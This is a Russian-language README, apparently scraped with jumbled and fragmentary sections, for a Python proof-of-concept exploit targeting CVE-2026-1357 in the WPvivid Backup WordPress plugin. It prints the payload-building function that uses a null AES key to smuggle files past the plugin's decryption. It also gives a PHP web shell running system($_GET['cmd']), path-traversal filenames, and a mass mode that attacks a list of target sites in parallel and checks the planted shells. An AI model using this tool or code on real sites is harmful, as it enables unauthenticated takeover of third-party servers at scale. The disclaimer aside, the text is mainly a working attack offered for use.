
Миграция, Резервное копирование, Промежуточная среда <= 0.9.123 - Неавторизованная произвольная загрузка файлов
CVE-2026-1357.py)Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Уязвимость: Неаутентифицированная произвольная загрузка файлов → Удаленное выполнение кода
CVE: CVE-2026-1357 – CVSS 9.8 (Критическая)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py — это proof-of-concept инструмент эксплуатации уязвимости WPvivid. Он фокусируется на ошибочной обработке сессии AES, которая позволяет атакующему:
name).wpvivid_action=send_to_site.Скрипт не пытается угадать или злоупотребить закрытыми ключами напрямую. Вместо этого он имитирует сломанный поток WPvivid, где неудачный вызов openssl_private_decrypt() приводит к инициализации AES-шифра phpseclib с нулевым ключом.
Ядро эксплойта находится в gen_wpvivid_payload():
{
"name": "<имя_файла>",
"offset": 0,
"data": "<base64(байты_файла)>",
"file_size": <len(байты_файла)>,
"md5": "<md5(байты_файла)>"
}
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16"000" (заполнитель статического поля длины)."{len(cipher):016X}"."000" + <16-байтовый шестнадцатеричный код длины шифротекста> + <сырой шифротекст AES-CBC>
wpvivid_content.Функция:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Это соответствует ожиданиям WPvivid при расшифровке в уязвимом пути кода после сбоя расшифровки RSA.
Скрипт имеет два основных режима плюс возможность массового тестирования:
mood1 – Генератор полезной нагрузки
wpvivid_content, используя трюк с нулевым ключом.mood2 – Тестер одной цели
Массовый режим (из mood1)
python3 CVE-2026-1357.py
Вы увидите интерфейс на Rich с баннером и выбором режима:
mood1 – Генератор полезной нагрузкиmood2 – Тестер одной целиwpvivid_content), которая кодирует:
Выбор режима
При запросе:
Choose mode (mood1/mood2) [mood1]:
Нажмите Enter (по умолчанию mood1) или введите mood1.
Имя/путь целевого файла
Вас спрашивают:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Примеры:
Nx_.php
../../public_html/Nx_.php
Значение попадает в поле name JSON-полезной нагрузки.
Режим ввода содержимого
Скрипт показывает три способа определить содержимое файла:
EOF).shell.php).После генерации полезной нагрузки скрипт спрашивает:
Auto-send this payload to targets list (mass mode)? (y/N):
Если вы отвечаете y, запускается массовый режим с только что созданными полезной нагрузкой и именем файла.
Файл со списком целей
Пример запроса:
Targets list file (one URL per line):
Ожидаемый формат файла (например, targets.txt):
https://site1.com
site2.com
http://site3.net
Скрипт автоматически нормализует базовые URL (добавляет схему, если отсутствует).
Количество потоков
Threads (concurrent sites) [5]:
Определяет, сколько сайтов обрабатывается параллельно.
Логика для каждой цели
Для каждой цели:
base_url.send_wpvivid_payload(base_url, payload)
wpvivid_action=send_to_site + wpvivid_content=<payload>.{"result":"success"} (проверка компактной формы).wpvivid_payload.txt или внешнего источника) против одного URL и проверить итоговый файл.Целевой URL
Запрос:
Target base URL (e.g., https://site.com):
Пример:
https://victim.com
Скрипт нормализует это до базового URL, например:
https://victim.com
Имя файла
Запрос:
Expected file name (e.g., Nx_.php):
Это имя/путь, который вы ожидаете запишет WPvivid (должен совпадать с тем, что вы закодировали в поле name полезной нагрузки).
Ввод полезной нагрузки
Запрос:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=..., префикс удаляется.Выполнение
Скрипт:
wpvivid_action=send_to_site + вашим wpvivid_content.Этот режим идеально подходит для ручного / лабораторного тестирования одного сайта с полным контролем над полезной нагрузкой.
wpvivid_payload.txt
mood1.file_name=<выбранное_имя_файла>wpvivid_content=<полезная_нагрузка>Nx_.txt
mood1 (массовый режим) и mood2.Этот инструмент предназначен исключительно для:
Используя этот скрипт, вы соглашаетесь с тем, что:
Используйте его на свой страх и риск и только для законного тестирования безопасности.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedДля обновлений, инструментов и материалов по безопасности следите за Telegram-каналом:
👉 @KNxploited
Вас спрашивают:
Mode [1/2/3] [1]:
Режим 1 – Однострочный
Single line content:
Пример ввода:
<?php phpinfo();
Режим 2 – Многострочный
Enter file content, line by line. Type 'EOF' on its own line when done.
Вы можете вставить или ввести многострочный PHP-скрипт, затем закончить строкой EOF на отдельной строке:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Режим 3 – Локальный файл
Local file path (e.g., shell.php):
Скрипт читает весь файл в file_bytes.
Генерация полезной нагрузки
Как только содержимое захвачено, скрипт:
Вы видите вывод, например:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
И создается файл wpvivid_payload.txt:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
shell_url как:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
Nx_.txt.verify_written_file():
shell_url.status_code == 200, пометить как проверенный.short_reason():
Интерфейс
[OK] <shell_url> при успехе.[FAIL] <base> (reason: ...) при ошибке.[!] Not verified (...) когда загрузка, возможно, прошла успешно, но проверка не удалась.<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
[OK] с этим URL.Nx_.txt.verify_written_file() и выводит результат.